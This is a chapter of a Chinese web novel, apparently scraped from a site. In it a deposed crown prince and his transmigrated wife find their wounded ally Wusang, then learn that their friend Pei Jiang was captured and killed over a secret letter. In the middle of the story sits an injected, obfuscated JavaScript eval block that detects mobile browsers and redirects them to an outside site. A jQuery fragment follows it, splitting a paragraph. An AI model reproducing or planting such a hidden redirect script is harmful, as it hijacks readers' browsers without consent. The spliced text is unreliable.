57.第 57 章

作品:《穿书后,废太子他总在崩人设

    洛鸢和萧烬溜出宫时,天色还未完全暗下来,京中的街市铺子没关门的还有不少,依旧透出十足的烟火气。


    霓裳斋里燃起微弱的烛光,伙计们各自洒扫、整理,陆陆续续做起一天的收尾工作。


    洛鸢拽着萧烬来到霓裳斋附近,远远隔着一段距离,得意地指给他看:“那家......很大的绸缎庄子,看见了吧?这就是冯飞鱼开的霓裳斋,也是以后咱们的据点。”


    萧烬紧紧盯着铺子,眼眶微红:“你一定从中出了不少力吧?辛苦了。”


    “嗐,小事一桩,不必客气。”洛鸢不好意思地摆摆手,却见萧烬盯着铺子半晌后,皱起眉头,“里面的料子颜色太过寡淡,不适合你。”


    洛鸢好奇:“飞鱼审美很好呀,这些花色柔和淡雅,光泽莹润,一众京中贵妇趋之若鹜呢,怎么就寡淡了?明明很有国风之美。”


    萧烬转过脸,认真盯着洛鸢端详半晌,一本正经道:“我还是觉得你更适合艳丽的颜色,大红色就很好看,更衬你。”


    洛鸢嗤笑一声,随即低喊:“快看,她就是冯飞鱼,宣平侯府嫡女,咱们的金主兼情报网项目负责人。”


    循着她的视线望去,萧烬看到一位正在伸懒腰的女子,她身着一套鹅黄套装,头上挽着俏皮的垂鬟分肖髻,面容透出稚气。


    “就她......能靠得住吗?”


    洛鸢反驳:“古代女子十五及笄,她十六岁了。这个世界的十六岁可不是咱们那个世界的十六岁,凡事都可独当一面了。”


    “总之,我相信她。”


    萧烬抿嘴:“既然你信,那我也信。”


    片刻后,笑道“不过......她没你好看。”


    洛鸢:“......”说正事呢,又扯这些?将萧烬立即逐出颜狗教!


    洛鸢垫起脚尖往铺子里瞧了七八遍,一次也没瞧见阿青、阿花几人的身影,许是做完工后回住处了吧。


    来不及多留,洛鸢和萧烬拔脚赶去花月楼。


    这次,他俩特意乔装打扮了下,贴上络腮胡,戴上假发帽,与之前出现在这里的模样判若两人。


    老鸨自然没认出来。


    两人窝在角落,一直等裴江出现,然而始终未等到,双双都有些失望。


    原本他俩很期待这次会面,因为隐隐觉得,裴江之所以约来花月楼,一定是查内贼的事有了眉目,更甚至,已经掌握了一些线索。


    夫妻二人一直等到子时,实在觉得事情太过蹊跷,他们不是被裴江骗了,便是被乌桑骗了!


    一阵莫大的恐慌袭来,两人慌张离开花月楼,准备去驿馆偷偷找裴江问个清楚。


    此时早已宵禁,大街上空无一人,甚至连点亮的灯笼都没几个,只有微薄的月光洒落,树影绰绰,只有一些悲戚的鸟虫哀鸣声。


    洛鸢故作淡定地哼歌。


    突然一个黑影踉踉跄跄闪过,跌跌撞撞摔倒在二人面前,双双吓了一大跳。那人也瞬间慌张,转瞬拔剑。


    看清脸的那一刻,洛鸢惊呼:“乌桑?”


    乌桑满是欣喜地抬眼,唇边勾过浅笑,随即,晕了过去。


    “哎,你——”


    乌桑看着瘦削,没想到搬起来好重......废了九牛二虎之力后,洛鸢和萧烬才将他转移到附近一处相对隐蔽的角落。


    借着微光,两人这才发现,乌桑的手臂和肩膀处各自被砍了很深的一刀,鲜血不停往外涌,他嘴唇煞白,整个人昏昏沉沉,双眸紧闭。


    洛鸢轻轻拍打他的脸:“乌桑,不要睡......再坚持一下......”


    来不及犹豫,洛鸢伸手去撕自己身上那件质地绵软的内衬,随即被萧烬冷脸呵止:“快住手!这么私密的衣物,怎么能随便给别的男人用?”


    洛鸢边小心挪动着乌桑,边怒吼:“他快不行了!萧烬,你平时总是故意针对他就算了!可如今都什么时候了,你竟然还有闲心在这儿搞这套酸涩小文学!我真的忍你......”


    还没等洛鸢吼完,萧烬敛眉递来一大块质地更加上乘的料子,白净如雪,没有丝毫脏污。


    他认真道:“用这块给他包扎,这块更软。”


    “我还以为......你不想救他。”洛鸢用指尖捻了捻布子,弱了声,为自己方才的冲动抱歉。


    萧烬沉下脸色:“我没你想的那么恶劣。”


    洛鸢脸色羞愧,稍作停顿后,立即着手帮乌桑处理伤口。他的伤口并不致命,但出手之人必是用了极重的力道,导致两处伤口都很深,肩膀处甚至能隐约看见白骨。


    又折腾许久,乌桑卷翘的睫毛颤了颤,他醒了。


    只是因他方才流了太多血,所以此刻身子很虚弱,说话也有气无力的。


    他抬眼瞥向洛鸢,随后又看向满脸傲娇的萧烬:“谢......谢......殿下......和王......妃相......救......”


    洛鸢皱眉:“好了!乌桑,你此刻先不要讲话,先积蓄体力。”


    乌桑紧握双拳,不顾她劝阻,直切重点:“裴江被擒了——”


    洛鸢和萧烬双双一愣。


    一阵巨大的惊愕后,萧烬急不可耐地开口:“你们到底发生什么事了!”


    乌桑再次晕过去。


    但很快再次苏醒,洛鸢给他喂过一些清水,他的体力稍微恢复了些,于是艰难地将事情原委说出来。


    裴江在军营一次操练后的聚餐中,从祁副将偶然脱口而出的一句话中,隐约察觉他有问题,于是在接下来的一段日子暗中监视他的一举一动,并当真发现了不对劲。


    直到与祁副将入京前夕,裴江更是发现了更为关键的证据,苏相写给他的亲笔密信!这封信直接坐实了祁副将便是背叛大将军之人!同时,里面详细记录了苏相与他密谋的详细过程!


    祁副将许是为了给自己留条后路,以便将来更好拿捏梁王舅甥,故一直没按苏相的要求将信销毁,而是偷偷保存了下来。


    今夜,祁副将与梁王、苏相等人在相府密会,裴江原本早已将密信偷了出来,准备趁这个空隙去花月楼转交给萧烬。


    然而,没想到中途出了岔子。


    祁副将或许在席间无意中用此信暗示过苏相,引起了梁王和苏相的警惕,他们毫不犹豫地杀掉了他。


    但却始终无法寻到那封信。


    于是,梁王二人将视线锁定到了与祁副将一同前来的裴江身上。


    好在乌桑事先潜伏在附近协助,于是裴江拼了命将信交给他,自己则被苏相手下生擒。乌桑一路打打杀杀才终于甩掉尾巴,将信藏好。


    之后,便遇见了洛鸢和萧烬二人。


    听完乌桑断断续续的讲述,萧烬悲喜交加。


    喜的是,昭雪有望。悲的是,裴江生死未卜。


    他眼眶通红:“裴江......大概是活不成了。”


    在记忆中,裴江与他自幼相识,两人虽身份地位相差悬殊,但趣味相投、玩得极好,后来一个回宫做养尊处优的太子,一个驻守边境金戈铁马。看似走上截然相反的道路,但两人的心始终是亲近的。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965167|187941||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    再后来,萧烬被废,音信全无。裴江想尽办法打听他的下落,得知他被囚虐待后,裴江恨不得亲自替他受刑,之后几日的战役中,他拼命杀敌,全然不顾自身生死,恨不得将内心所有的悲愤宣泄出来。


    两人之间有关兄弟情的点滴太多了......萧烬隐忍许久,滚落一滴泪。


    洛鸢不知如何安慰,只能紧紧握住他的手,半晌后,咬牙问乌桑:“他被关在哪,我去救。”


    “不可!”


    “不......可......”


    两个男人异口同声道。


    苏相府中偷偷蓄养了不少武力高强的人,表面看是家仆,实则实力不容小觑。他们此时一定严加戒备,不会错过任何一个可疑之人。


    洛鸢这时候贸然去营救,无异于自投罗网,不仅双拳难敌四手,而且还会将她和萧烬暴露在梁王和苏相面前。


    “王妃......我带密信逃离时,裴江已然受了很重的伤,此刻说不定已......”乌桑咬牙,片刻后背过脸去,不肯将话讲完。


    以梁王二人的狠戾,他们既然连祁副将都可以毫不犹豫地斩杀,裴江又岂会活命。


    但,难道就这么坐视不管了吗?


    洛鸢气不过,执意跑去相府外查探情况,然而还没到地方,便看见从相府方向驶来一驾奇怪的马车,她悄悄跟过去。


    快出城时,从马车上扔下两个人。


    等人走后,洛鸢赶紧过去查看,正是裴江和祁副将!裴江浑身被血染透了,但还留着一口气,见洛鸢惊慌地托起他,淡淡笑了下。


    “王妃,没想到......最后是你......这个最讨厌我的人......找到......我......”


    洛鸢眼眶噙泪:“别说了!你这个花月楼最丑的娼女......讨厌归讨厌,可谁允许你死了?你为什么撇开我们独自行动,若是当时我们在场......你就不会——”


    裴江吃力地抬手,搭在洛鸢胳膊上,打断她:“王妃,别难过了......替我转告殿下,我们......我们来生还是......好兄弟。”


    “你们......一定要......为义父......平反!”


    说完这番话,裴江在不甘和遗憾中咽了气。


    洛鸢恨得咬牙切齿,第一次对这个世界的权势有了一种莫名的憎恨,梁王......苏相......


    许久后,洛鸢神思恍惚地返回原地,与萧烬、乌桑汇合。


    见她平安无事返回,两人双双长舒一口气,但很快发现了不对劲。洛鸢脸上挂着泪痕,目光也很呆滞。


    萧烬猜到了几分:“裴......他......”


    “死了。”洛鸢嗓音沙哑,“和祁贼一起被扔在离城门不远的地方,只等着明日被官差发现了。”


    今夜祁副将去相府的事极为隐秘,几乎无人知晓。再加上苏相命人将他们扔在城门附近,更加稳妥地摆脱了自身的嫌疑。


    但洛鸢考虑再三后没有带走裴江,否则,祁副将的死,到时就全扣在他头上了......


    “不知朝廷能否为他讨个公道。若不能,我们亲自为他讨。”洛鸢沉声。


    萧烬攥紧拳头,朝斑驳的土墙重重砸去,双手瞬间割破,血滴下来。


    显然不会有什么公道了,如今正值北凛使臣在京,朝廷为了维持体面,一定不会大张旗鼓彻查此事的。


    等明日官府发现,最多就是给二人安一个内讧、自相残杀诸如此类的罪名。